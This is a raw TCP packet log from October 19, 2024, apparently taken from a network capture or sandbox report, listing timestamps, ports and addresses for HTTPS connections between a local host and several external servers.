Oct 19, 2024 00:14:28.478168011 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.485019922 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.498598099 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.498677015 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.498768091 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.517663002 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.530936956 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.530962944 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.531423092 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.531440973 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.531683922 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.531694889 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.532040119 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.532043934 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.532300949 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.532315016 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.532330036 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.532335043 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.533535004 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.533576965 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.533592939 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.533600092 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.537667036 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.537708998 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.537770033 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.537889004 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.537899971 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.787678003 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.787740946 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.787830114 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.790843964 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.790868044 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.879292011 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.879365921 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.879430056 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.957887888 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.957935095 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.957950115 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.957957029 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.960853100 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.960895061 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.960956097 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.961328030 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.961344957 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.997298002 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.997344017 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.997395992 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.997448921 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.004060984 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.004146099 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.004241943 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.009387970 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.009418011 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.009449959 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.009459972 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.010376930 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.010411978 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.010448933 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.010459900 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.141576052 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.141618013 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.141865969 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.143157005 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.143172979 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.145787001 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.145833969 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.145890951 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.146078110 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.146094084 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.199309111 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.199405909 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.199491024 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.202301979 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.202322960 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.235338926 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.264556885 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:29.264591932 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:29.264663935 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:29.264919043 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:29.264934063 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:29.275448084 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.547337055 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.547427893 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.547452927 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.547472000 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.547751904 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.547777891 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.589576960 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.629817963 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.630652905 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.630681992 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.631088972 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.631095886 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.631266117 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.631639957 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.631652117 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.631968021 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.631973982 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.721973896 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.722794056 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.722812891 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.723124981 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.723138094 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.730089903 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.730102062 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.730207920 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.731491089 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.731499910 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.732028961 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.765093088 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.765912056 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.766083002 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.766170025 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.766206026 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.766206026 CEST	50009	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.766223907 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.766232014 CEST	443	50009	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.767076969 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.767148972 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.767188072 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.767191887 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.767206907 CEST	50010	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.767211914 CEST	443	50010	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.769058943 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769117117 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.769187927 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769254923 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769262075 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.769311905 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769366980 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769377947 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.769462109 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.769470930 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.848027945 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.848059893 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.848179102 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.849370956 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.849412918 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.849505901 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.849841118 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.857955933 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.858072042 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.858376026 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.858376026 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.858376026 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.861648083 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.861696005 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.861839056 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.862128019 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.862143040 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.882627964 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.883225918 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.883269072 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.883708954 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.883723021 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.887707949 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.888374090 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.888406038 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.888658047 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:29.888664961 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:29.965213060 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.965224981 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.965414047 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:29.966655016 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:29.966757059 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.015084982 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.015166998 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.015248060 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.015417099 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.015417099 CEST	50012	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.015439034 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.015448093 CEST	443	50012	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.018120050 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.018165112 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.018286943 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.018424988 CEST	50018	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.018441916 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.020138025 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.020206928 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.020334959 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.020365000 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.020365000 CEST	50013	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.020380020 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.020389080 CEST	443	50013	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.023140907 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.023168087 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.023236036 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.023370028 CEST	50019	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.023379087 CEST	443	50019	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.083169937 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.083250999 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.084568024 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.084645033 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.115144968 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.115490913 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.115513086 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.116703987 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.116848946 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.118088961 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.118211031 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.118241072 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.163407087 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.173089027 CEST	50011	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.173089027 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.173119068 CEST	443	50011	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.173142910 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.202332973 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.202392101 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.202434063 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.202455044 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.202470064 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.202534914 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.215533018 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.332674980 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.332854986 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.333534002 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.333651066 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.364293098 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.415144920 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.425452948 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.425657988 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.435722113 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.436098099 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.450541973 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.450725079 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.481595039 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481607914 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481651068 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481664896 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481678009 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481744051 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.481775999 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.481834888 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.481890917 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.527015924 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.527746916 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.527780056 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.528702974 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.528708935 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.541254044 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.541949987 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.541985989 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.542933941 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.542944908 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.552946091 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.553157091 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.568162918 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.568331003 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.598951101 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.598972082 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.599020004 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.599040031 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.599132061 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.599132061 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.599158049 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.599276066 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.603643894 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.604779005 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.604805946 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.605700970 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.605709076 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.666537046 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.666635990 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.666744947 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.668504953 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.668524981 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.668555975 CEST	50016	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.668564081 CEST	443	50016	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.670682907 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.670785904 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.671860933 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.671901941 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.672357082 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.672357082 CEST	50020	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.672395945 CEST	443	50020	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.680289984 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.680383921 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.682569027 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.682729006 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.682758093 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.682775974 CEST	50015	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.682781935 CEST	443	50015	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.685380936 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.685420990 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.685555935 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.685673952 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.685851097 CEST	50021	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.685861111 CEST	443	50021	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.685880899 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.686386108 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:30.686454058 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:30.707036972 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:30.707109928 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:30.707216978 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:30.715825081 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.715842962 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.715871096 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.715929985 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.715929985 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.715948105 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.715966940 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.715993881 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.716003895 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.716033936 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.716082096 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.716082096 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.716207981 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.716228962 CEST	443	50014	18.245.31.89	192.168.2.10
Oct 19, 2024 00:14:30.716305017 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.716305017 CEST	50014	443	192.168.2.10	18.245.31.89
Oct 19, 2024 00:14:30.727621078 CEST	49959	443	192.168.2.10	142.250.186.100
Oct 19, 2024 00:14:30.727642059 CEST	443	49959	142.250.186.100	192.168.2.10
Oct 19, 2024 00:14:30.745699883 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.745728970 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.745786905 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.745814085 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.745841026 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.746474981 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.746491909 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.746503115 CEST	50017	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.746509075 CEST	443	50017	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.746746063 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:30.746773005 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:30.746819019 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:30.747044086 CEST	50022	443	192.168.2.10	18.245.31.33
Oct 19, 2024 00:14:30.747054100 CEST	443	50022	18.245.31.33	192.168.2.10
Oct 19, 2024 00:14:30.750333071 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.750374079 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.750828981 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.750828981 CEST	50023	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:30.750869989 CEST	443	50023	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.757913113 CEST	443	50018	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:30.758338928 CEST	50018	443	192.168.2.10	13.107.246.45
